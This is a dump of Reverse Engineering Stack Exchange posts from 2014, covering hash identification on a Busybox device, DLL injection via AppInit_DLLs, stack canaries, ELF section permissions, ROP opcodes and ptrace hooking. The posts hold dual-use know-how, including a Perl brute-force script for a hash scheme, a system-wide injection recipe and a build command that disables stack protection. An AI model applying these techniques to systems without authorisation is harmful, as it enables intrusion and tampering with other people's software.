  <row Id="6616" PostTypeId="2" ParentId="6398" CreationDate="2014-11-10T03:28:07.533" Score="4" Body="&lt;p&gt;Since the original LabelArgs plugin was open source, I ported it to OllyDbg 2. It should have the same functionality as the original LabelArgs plugin, feel free to improve on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to the repository:&#xA;&lt;a href=&quot;https://bitbucket.org/mrexodia/labelargs&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/mrexodia/labelargs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Binaries:&#xA;&lt;a href=&quot;https://bitbucket.org/mrexodia/labelargs/downloads&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/mrexodia/labelargs/downloads&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2014-11-10T03:28:07.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6618" PostTypeId="2" ParentId="6607" CreationDate="2014-11-10T11:37:50.120" Score="2" Body="&lt;p&gt;You can get some ideas from the &lt;a href=&quot;https://github.com/stefanesser/dumpdecrypted&quot; rel=&quot;nofollow&quot;&gt;dumpdecrypted tool&lt;/a&gt; by Stefan Esser. It's for iPhone but shouldn't be too difficult to port to OS X.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-11-10T11:37:50.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6620" PostTypeId="1" CreationDate="2014-11-11T04:53:46.993" Score="3" ViewCount="2175" Body="&lt;p&gt;I'm trying to figure out how an ARM-Based device running Busybox Linux is storing hashes for users in a configuration file. Basically, the system allows you to backup the entire configuration to a file. Within this file I can see the hashes for one of the default accounts - &lt;code&gt;admin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I configure the &lt;code&gt;admin&lt;/code&gt; password to be &lt;code&gt;test&lt;/code&gt;, I get this hash in the output file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3785a9c61b587f2ff0dd7132db844f14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Being a 32 character hash, I suspect it's MD5. I know from testing that if I configure one of the other built-in accounts to have the same password, the hash is different. So it seems that whatever the hashing algorithm, it probably does something like concatenate the &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt; together before hashing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried a bunch of combinations, and am thinking I might just have to try brute force. Seeing as i know the &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt;, I suppose I could do a custom dictionary attack or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions ?&lt;/p&gt;&#xA;" OwnerUserId="9986" LastEditorUserId="53" LastEditDate="2014-11-11T14:35:39.400" LastActivityDate="2016-06-30T17:23:36.597" Title="Determine Hash Method - Busybox Linux" Tags="|linux|hash-functions|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6621" PostTypeId="2" ParentId="6620" CreationDate="2014-11-11T14:34:41.307" Score="2" Body="&lt;p&gt;I would advise you to look for an hash identification software. You can find several freely available on Internet. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.smeegesec.com/2013/11/hashtag-password-hash-identification.html&quot; rel=&quot;nofollow&quot;&gt;HashTag&lt;/a&gt; (specialized in password hash identification);&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.onlinehashcrack.com/hash_identification.php&quot; rel=&quot;nofollow&quot;&gt;OnlineHashCrack Hash Identification&lt;/a&gt; (supports 250 hash types);&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/hash-identifier/&quot; rel=&quot;nofollow&quot;&gt;hash-identifier&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/psypanda/hashID&quot; rel=&quot;nofollow&quot;&gt;hashID&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;... and so on ...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried your sample with &lt;code&gt;HashTag&lt;/code&gt; and it seems to be an MD5 algorithm with several type of settings, but more you will provide signatures to it, more it will be accurate.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; HashTag.py -sh 3785a9c61b587f2ff0dd7132db844f14&#xA;&#xA;Hash: 3785a9c61b587f2ff0dd7132db844f14&#xA;&#xA;[*] MD5 - Hashcat Mode 0&#xA;[*] NTLM - Hashcat Mode 1000&#xA;[*] MD4 - Hashcat Mode 900&#xA;[*] LM - Hashcat Mode 3000&#xA;[*] MD5(HMAC)&#xA;[*] MD4(HMAC)&#xA;[*] Haval-128(HMAC)&#xA;[*] RipeMD-128(HMAC)&#xA;[*] Tiger-128(HMAC)&#xA;[*] Snefru-128(HMAC)&#xA;[*] MD2(HMAC)&#xA;[*] MD5(ZipMonster)&#xA;[*] MD5(HMAC(Wordpress))&#xA;[*] Skein-256(128)&#xA;[*] Skein-512(128)&#xA;[*] md5($pass.$salt) - Hashcat Mode 10&#xA;[*] md5($pass.$salt.$pass)&#xA;[*] md5($pass.md5($pass))&#xA;[*] md5($salt.$pass) - Hashcat Mode 20&#xA;[*] md5($salt.$pass.$salt) - Hashcat Mode 3810&#xA;[*] md5($salt.$pass.$username)&#xA;[*] md5($salt.'-'.md5($pass))&#xA;[*] md5($salt.md5($pass)) - Hashcat Mode 3710&#xA;... [cut] ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-11-11T14:34:41.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6622" PostTypeId="2" ParentId="6620" CreationDate="2014-11-11T14:54:14.657" Score="3" Body="&lt;p&gt;I took a little Perl program that i'd written a while ago when i had a similar problem, and changed it to match your data. This is supposed to generate all permutations of &quot;test:admin&quot;, which any character as the separator, and including all abbreviations (to handle the case that only a few bytes from the username are taken). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got around 50 results beginning in 3785a9, but none with 3785a9c6. So, this seems to rule out the case that (a part of) the username is concatenated to the password, possibly with a separator character, and the MD5 of the result is computed. But of course, they might use MD4 or something else that produces 16 bytes. They might xor the user with the password first. They might read the MD5 backwards. Lots of possibilities to make it harder to find out the algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can find out which binary creates the password in the first place, try to run &lt;a href=&quot;http://fwhacking.blogspot.de/2011/03/signsrch-signature-scanner.html&quot; rel=&quot;nofollow&quot;&gt;signsrch&lt;/a&gt; on it, this might help in finding the algorithm it uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to try a few more things with my perl program, here it is. Took about 1 hour on 1 core on a Xeon E5. There's a few things that you can optimize, but i supposed it doesn't make much sense to spend 30 minutes to make the program run 5 minutes faster.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/perl&#xA;&#xA;use Digest::MD5 qw(md5_hex);&#xA;use List::Util qw(shuffle);&#xA;use strict;&#xA;use warnings;&#xA;&#xA;$|=1;&#xA;&#xA;my @admintest=(split(&quot;&quot;, &quot;admintest&quot;), &quot;:&quot;, chr(127));&#xA;# my @admintest=(split(&quot;&quot;, &quot;abc&quot;), &quot;:&quot;, chr(127));&#xA;&#xA;my $n=0;&#xA;&#xA;permute(&quot;&quot;, @admintest);&#xA;&#xA;sub permute {&#xA;        my $str=shift;&#xA;        my @letters=@_;&#xA;        my $str2;&#xA;&#xA;        for (my $i=0; $i&amp;lt;=$#letters; $i++) {&#xA;                if ($letters[$i] eq chr(127)) {&#xA;                        tryseparatorsonstring($str);&#xA;                        return;&#xA;                }&#xA;                $str2=$str.$letters[$i];&#xA;                permute($str2, @letters[0..$i-1], @letters[$i+1..$#letters]);&#xA;        }&#xA;}&#xA;print &quot;\n&quot;;&#xA;&#xA;sub tryseparatorsonstring {&#xA;        my $str=shift;&#xA;        if ($str =~ /:/) {&#xA;                for (my $sep=0; $sep&amp;lt;128; $sep++) {&#xA;                        my $str2=$str;&#xA;                        $str2=~s/:/chr($sep)/ge;&#xA;                        trystring($str2, $sep);&#xA;                }&#xA;        } else {&#xA;                trystring($str, &quot;&quot;);&#xA;        }&#xA;}&#xA;&#xA;sub trystring {&#xA;        my $str=shift;&#xA;        my $sep=shift;&#xA;        my $pass=md5_hex($str);&#xA;        print &quot;$n\t$str\t$sep\t$pass\n&quot; if $pass =~ /^3785a9/;&#xA;        if (++$n%1_000_000==0) {&#xA;                printf &quot;%dM\r&quot;, $n/1_000_000;&#xA;        }&#xA;        # print &quot;$str\n&quot;;&#xA;}&#xA;&#xA;exit 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-11-11T14:54:14.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6623" PostTypeId="1" CreationDate="2014-11-13T07:20:25.753" Score="2" ViewCount="1347" Body="&lt;p&gt;Nvidia Optimus is a major thorn in my side. I just bought a new laptop that is using this on-the-fly gpu switching crap. This means that unless an application starts by querying the GPU for 3D tech or directx, then it uses the intel integrated. This means many applications don't use the GPU (even if you specify it in the Nvidia Control Panel). Some examples: if you run the WEI rating, or dxdiag, or in my case.. xilisoft video converter. Here is a program that can use the GPU to assist in the processing time of the video encoding. Yet since it doesn't try to access the GPU until the encoding starts.. the options to enable the GPU assist are greyed out. It's maddening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I made a very simple DLL in visual basic that initializes directx. I then created another program in visual basic.. a simple window with a single button. When you click this button, it loads the dll file and runs the function that sends an initialization command to directx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the &quot;Nvidia Optimus GPU state viewer&quot; running to show which applications are being rendered by the dGPU I run my simple program. Of course it doesn't show up in the viewer. Then, when I press the button, wham, it's now being rendered by the dGPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is where my limited programming knowledge ends. The goal here is when you have an app that you can't get running on the Nvidia, I want it to use this dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;DLL INJECTION:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about DLL injection.. but I don't know how to do it. After injecting the dll.. how do you get the program to call the specific function INSIDE the dll which starts the directx process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Wrapper:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make a wrapper/loader that could load the desired application but first run this directx function's code prior to the application starting up.. yet running it AS the application.. so it looks like the application made the call (to Optimus at least).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Assembly:&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps we could make a jump after the entry point of the desired app to a &quot;code cave&quot; which then loads the dll and calls the function. Then create a program which can do this automatically for any desired applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, that's where I am. I'll keep plugging away at this, but any help would be appreciated. thanks.&lt;/p&gt;&#xA;" OwnerUserId="10002" LastActivityDate="2023-12-31T11:07:31.477" Title="Found a way to make any program run with the discrete Nvidia dGPU. But I need a little help to finish implementing the injection" Tags="|assembly|dll|injection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6624" PostTypeId="2" ParentId="6623" CreationDate="2014-11-13T08:42:22.753" Score="1" Body="&lt;p&gt;In your DLL you simply need to do the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the DLL initialization code, run the DirectX function you need. If using VB6 (why?) you need to add the DllEntryPoint function: &lt;a href=&quot;https://web.archive.org/web/20060405045226/http://www.windowsdevcenter.com/pub/a/windows/2005/04/26/create_dll.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.windowsdevcenter.com/pub/a/windows/2005/04/26/create_dll.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Put your DLL in the AppInit_DLLs registry key: &lt;a href=&quot;https://web.archive.org/web/20090308073253/http://support.microsoft.com/kb/197571&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://support.microsoft.com/kb/197571&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And that's all! The library will be injected system wide and all the code you execute in your DLL will be executed in the context of the program it was injected to.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="18132" LastEditDate="2023-12-31T11:07:31.477" LastActivityDate="2023-12-31T11:07:31.477" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="6627" PostTypeId="1" CreationDate="2014-11-13T11:32:51.110" Score="6" ViewCount="2097" Body="&lt;p&gt;I just compiled some C code that reads in input using &lt;code&gt;gets&lt;/code&gt; and disassembled the code. The platform is Ubuntu 32-bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are these 3 lines that check if the canary value has been tampered with.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x08048455 &amp;lt;+33&amp;gt;:    mov    edx,DWORD PTR [esp+0x7c]&#xA;   0x08048459 &amp;lt;+37&amp;gt;:    xor    edx,DWORD PTR gs:0x14&#xA;   0x08048460 &amp;lt;+44&amp;gt;:    je     0x8048467 &amp;lt;main+51&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I set a breakpoint on &lt;code&gt;0x08048459&lt;/code&gt; and saw that the &lt;code&gt;gs&lt;/code&gt; register had the value 0x33.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is gs:0x14 given that gs is 0x33? Is 0x33 an index to something? Is it a memory location of some sort?&lt;/li&gt;&#xA;&lt;li&gt;Are there any x86 instructions to move the value of gs to any other register? Or perhaps push it onto the stack?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="60" LastEditDate="2014-11-13T21:39:53.277" LastActivityDate="2014-11-13T21:39:53.277" Title="Segmentation on x86 for stack canaries" Tags="|x86|segmentation|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6628" PostTypeId="2" ParentId="6627" CreationDate="2014-11-13T12:32:27.717" Score="5" Body="&lt;p&gt;Check the stack protection in the &lt;a href=&quot;http://www.cs.fsu.edu/~baker/devices/lxr/http/source/linux/arch/x86/include/asm/stackprotector.h&quot;&gt;linux kernel source&lt;/a&gt;. The &lt;code&gt;gs&lt;/code&gt; register gets initialized by the kernel to a percpu structure, which contains a random value that's intended to be used as stack canary. This stack canary is at offset 20 (0x14) for 32 bit programs. It's randomized for each process to avoid malware being able to rely on it being always the same value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 0x33 is actually an index into a table in the kernel, that you don't have access to, so it's quite meaningless from userland. The virtual memory that makes up the percpu structure is mapped to physical memory &quot;somewhere&quot; though gs and the kernel table index that gs maps to, but this physical memory is &lt;em&gt;not&lt;/em&gt; mapped to any address that you can address 'normally', i.e. through the 'normal' cs/ds/ss segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you google for segment registers, you might find some information that says &quot;the segment register is shifted left by 4 bits, then added to the offset, to result in the real address&quot;, but that applies to &lt;em&gt;real mode&lt;/em&gt; only. Linux has always used &lt;em&gt;protected mode&lt;/em&gt;. You can find more detailed information about segments in real and protected mode &lt;a href=&quot;http://geezer.osdevbrasil.net/johnfine/segments.htm&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To read the value, there is a &lt;code&gt;push gs&lt;/code&gt; instruction you can use. There's a &lt;code&gt;pop gs&lt;/code&gt; as well. But as mentioned, knowing the value won't help you, and setting the value to anything will most likely result in a segmentation fault.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-11-13T12:32:27.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6629" PostTypeId="1" CreationDate="2014-11-13T15:00:22.677" Score="2" ViewCount="615" Body="&lt;p&gt;Is there any way to rebase an ELF file? &#xA;(i want to load an elf binary at 0x40000000, not at 0x08040000 which is typical base)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this tool(prelink, &lt;a href=&quot;http://en.wikipedia.org/wiki/Prelink&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Prelink&lt;/a&gt;), but it's only used for .so libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to modify the addr field of .text section header, but it didn't work.&lt;/p&gt;&#xA;" OwnerUserId="10007" LastActivityDate="2014-12-11T15:40:40.333" Title="possible to rebase an ELF file?" Tags="|linux|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6630" PostTypeId="1" CreationDate="2014-11-13T15:06:22.253" Score="2" ViewCount="2181" Body="&lt;p&gt;Is it possible to make the .data section of an ELF file executable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to make the .data section executable by changing the flags of the .data section, but it simply doesn't work.&#xA;Is it not possible by system design? I'm looking for a method other than dynamically modifying permissions with mprotect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="10007" LastActivityDate="2014-11-13T16:24:52.390" Title="Making ELF's .data section Executable at static time" Tags="|elf|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6631" PostTypeId="2" ParentId="6630" CreationDate="2014-11-13T15:53:11.720" Score="2" Body="&lt;p&gt;For executables or shared objects, the kernel/dynamic loader uses not the section table but the segment table (program headers). That's the one you need to patch (usually the second &lt;code&gt;PT_LOAD&lt;/code&gt; entry describes the .data+.bss sections). See &lt;code&gt;readelf -l&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-11-13T15:53:11.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6632" PostTypeId="2" ParentId="6630" CreationDate="2014-11-13T16:24:52.390" Score="3" Body="&lt;p&gt;The &lt;code&gt;.data&lt;/code&gt; section is going together with the stack, therefore, you only need to compile your program with the option &lt;code&gt;-zexecstack&lt;/code&gt; to get it executable. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -Wall -Wextra -zexecstack -fno-stack-protector -o example example.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-11-13T16:24:52.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6634" PostTypeId="1" AcceptedAnswerId="6635" CreationDate="2014-11-14T20:02:54.693" Score="3" ViewCount="809" Body="&lt;p&gt;I've been reverse engineering a PE executable and I came across a behavior that I can't understand. The executable uses both shell32.dll and profapi.dll. I see that shell32.dll delay loads a function in profapi.dll using an ordinal value (I verified this by looking at the delay load import table of shell32.dll). However, profapi.dll does not export any functions as it doesn't even have an export table. I'm examining the delay import and export sections of these DLLs using the Python library pefile. I'm using profapi.dll version 6.1.7600.16385 (as reported by the file properties) on Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand, to load a function by ordinal or name from profapi.dll, you still need access to profapi.dll's export table. Is there another way through which profapi.dll could expose the addresses of its functions, or am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: It looks like it was an issue with pefile parsing the DLL. I was indeed able to examine the export section using IDApro. I am leaving the question up to highlight what looks like a potential bug in pefile. I am using pefile version 1.2.10-139.&lt;/p&gt;&#xA;" OwnerUserId="8168" LastEditorUserId="8168" LastEditDate="2014-11-14T22:31:47.347" LastActivityDate="2014-11-14T22:31:47.347" Title="Delay imported function not in export table" Tags="|dll|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6635" PostTypeId="2" ParentId="6634" CreationDate="2014-11-14T20:59:14.580" Score="2" Body="&lt;p&gt;&lt;code&gt;profapi.dll&lt;/code&gt; should certainly have an Export Table. For example, here's the Export Table from &lt;code&gt;profapi.dll&lt;/code&gt; version &lt;code&gt;6.3.9600.16384&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;There is an export table in .text at 0x10001000&#xA;&#xA;The Export Tables (interpreted .text section contents)&#xA;&#xA;Export Flags                    0&#xA;Time/Date stamp                 52157da7&#xA;Major/Minor                     0/0&#xA;Name                            00001060 profapi.dll&#xA;Ordinal Base                    101&#xA;Number in:&#xA;        Export Address Table            0000000e&#xA;        [Name Pointer/Ordinal] Table    00000000&#xA;Table Addresses&#xA;        Export Address Table            00001028&#xA;        Name Pointer Table              00000000&#xA;        Ordinal Table                   00000000&#xA;&#xA;Export Address Table -- Ordinal Base 101&#xA;        [   0] +base[ 101] 2b24 Export RVA&#xA;        [   1] +base[ 102] 25c2 Export RVA&#xA;        [   2] +base[ 103] 3cd9 Export RVA&#xA;        [   3] +base[ 104] 1089 Export RVA&#xA;        [   4] +base[ 105] 4a8b Export RVA&#xA;        [   5] +base[ 106] 49b2 Export RVA&#xA;        [   6] +base[ 107] 42ae Export RVA&#xA;        [   7] +base[ 108] 4643 Export RVA&#xA;        [   8] +base[ 109] 45ce Export RVA&#xA;        [   9] +base[ 110] 4592 Export RVA&#xA;        [  10] +base[ 111] 3dc3 Export RVA&#xA;        [  11] +base[ 112] 4318 Export RVA&#xA;        [  12] +base[ 113] 428d Export RVA&#xA;        [  13] +base[ 114] 3bcd Export RVA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just checked version &lt;code&gt;6.1.7600.16385&lt;/code&gt; from Windows 7 and confirmed that it too has an Export Table, from which it exports 6 functions by ordinal. If the Python library you're using isn't seeing these functions then it's due to a bug in the Python library (or potentially your usage of it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what it's worth, this is a known issue in older versions of the &lt;a href=&quot;https://code.google.com/p/pefile/&quot; rel=&quot;nofollow&quot;&gt;pefile library&lt;/a&gt; and was &lt;a href=&quot;https://code.google.com/p/pefile/source/detail?r=134&quot; rel=&quot;nofollow&quot;&gt;fixed about a year ago&lt;/a&gt;. Perhaps you're using an outdated version?&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-11-14T22:09:30.073" LastActivityDate="2014-11-14T22:09:30.073" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6637" PostTypeId="1" AcceptedAnswerId="6642" CreationDate="2014-11-15T04:04:16.210" Score="5" ViewCount="5873" Body="&lt;p&gt;I am working on an assignment to perform an exploit using a rop chain.&#xA;While I understand the basics behind rop, I don't know how to convert instructions like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xchg eax, esp; retn;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to their opcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:005&amp;gt; a&#xA;input&amp;gt; xchg eax,esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the address given just points to a totally different kind of instruction in my program.&#xA;I believe it was an add command.&lt;/p&gt;&#xA;" OwnerUserId="8742" LastEditorUserId="3355" LastEditDate="2015-02-04T06:16:39.627" LastActivityDate="2015-02-04T06:16:39.627" Title="windbg: How to determine the opcode for an assembly language instruction or set of instructions" Tags="|windbg|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6638" PostTypeId="1" AcceptedAnswerId="6640" CreationDate="2014-11-15T06:12:17.190" Score="2" ViewCount="1150" Body="&lt;p&gt;Continues from &lt;strong&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6527/unknown-game-data-compression-method-gamecube&quot;&gt;Unknown game data compression method (Gamecube)&lt;/a&gt;&lt;br&gt;&lt;/strong&gt;&#xA;I have compression data which was start with: &lt;strong&gt;[ * SK_ASC* ]&lt;/strong&gt; and unknown compression method.&lt;br&gt;The list below compression method that I tested, but doesn't match:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;LZ10&lt;/li&gt;&#xA;&lt;li&gt;LZ11&lt;/li&gt;&#xA;&lt;li&gt;LZ77&lt;/li&gt;&#xA;&lt;li&gt;LZO1x-1&lt;/li&gt;&#xA;&lt;li&gt;LZO1x-999&lt;/li&gt;&#xA;&lt;li&gt;LZSS&lt;/li&gt;&#xA;&lt;li&gt;LZW&lt;/li&gt;&#xA;&lt;li&gt;LZMA&lt;/li&gt;&#xA;&lt;li&gt;HUFF blocksize 4 &amp;amp; 8 byte&lt;/li&gt;&#xA;&lt;li&gt;RLE&lt;/li&gt;&#xA;&lt;li&gt;ZLIB&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Researching for 2 weeks&lt;/strong&gt;, I knew that compression algorithms is slightly modified, better than zlib/gzip.&lt;br&gt;&#xA;It maybe xored or encrypted so it doesn't match with regular one.&lt;br&gt;&#xA;&lt;strong&gt;Finally&lt;/strong&gt;, I've found decompression subroutine from main executive file via &lt;strong&gt;IDA Pro&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;&#xA;Subroutine &amp;amp; example uploaded here: &lt;strong&gt;&lt;a href=&quot;http://goo.gl/2bQNfj&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/2bQNfj&lt;/a&gt;&lt;/strong&gt; &lt;br&gt;&lt;strong&gt;(PowerPC Architecture Assembly skill required)&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&#xA;I have no idea what It mean because I'm not well in PPC disassemble.&lt;br&gt;&#xA;Could anyone help found out what the code mean? Could you describe it as C Language or other readable language?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&#xA;&lt;strong&gt;P.S. I already posted several forum to help.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;http:// zenhax.com/viewtopic.php?f=9&amp;amp;t=313&amp;amp;sid=3172c154c5da95476795ac742501fec1&lt;/li&gt;&#xA;&lt;li&gt;http:// encode.ru/threads/2074-Identifying-compression-method&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9857" LastEditorUserId="9857" LastEditDate="2014-11-15T07:17:07.650" LastActivityDate="2014-11-16T08:04:20.103" Title="Disassemble the Decompression method (PowerPC ASM)" Tags="|disassembly|decompress|powerpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6639" PostTypeId="2" ParentId="185" CreationDate="2014-11-15T07:38:18.950" Score="2" Body="&lt;p&gt;&amp;quot;ptrace()&amp;quot; was casually mentioned by Giles.   But I think it deserved a whole section by itself.   &amp;quot;ptrace()&amp;quot; is a system call API provided by OS (Linux and all UNIX have it, and so do Windows) to exert debug control over another process.   When you used PTRACE_ATTACH (as part of ptrace()) to attach to another process, the kernel will pause the CPU running that process completely, allowing you to make changes to ANY part of the process: CPU, any registers, any part of that process memory etc.   That is how dynamic inline hooking work.    (ptrace() attach, modify binary in-memory, and then ptrace() unattached).   As far as I know, all dynamic modification of another process has to use ptrace() - as that is the only mechanism provided by kernel to guarantee integrity via system call at this point.&lt;/p&gt;&#xA;&lt;p&gt;But recently similar API like utrace() is popping up, and so&#xA;inline hooking is also theoretically possible:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://landley.net/kdocs/ols/2007/ols2007v1-pages-215-224.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://landley.net/kdocs/ols/2007/ols2007v1-pages-215-224.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For kernel hooking, there are many methods:   syscall, interrupt, and inline hooking.   This is for interrupt hooking:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://mammon.github.io/Text/linux_hooker.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mammon.github.io/Text/linux_hooker.txt&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When the CPU is in STOP mode, basically you can do anything you like to the CPU/memory space/register - just make sure you restore back to its original state before returning to the original address where it stopped.&lt;/p&gt;&#xA;&lt;p&gt;And if you use library inject technique, you can implement any functionalities - calling remote libraries, remote shell etc:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1055/001/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://attack.mitre.org/techniques/T1055/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/24355344/inject-shared-library-into-a-process&quot;&gt;https://stackoverflow.com/questions/24355344/inject-shared-library-into-a-process&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2395" LastEditorUserId="2395" LastEditDate="2020-12-12T06:05:16.077" LastActivityDate="2020-12-12T06:05:16.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
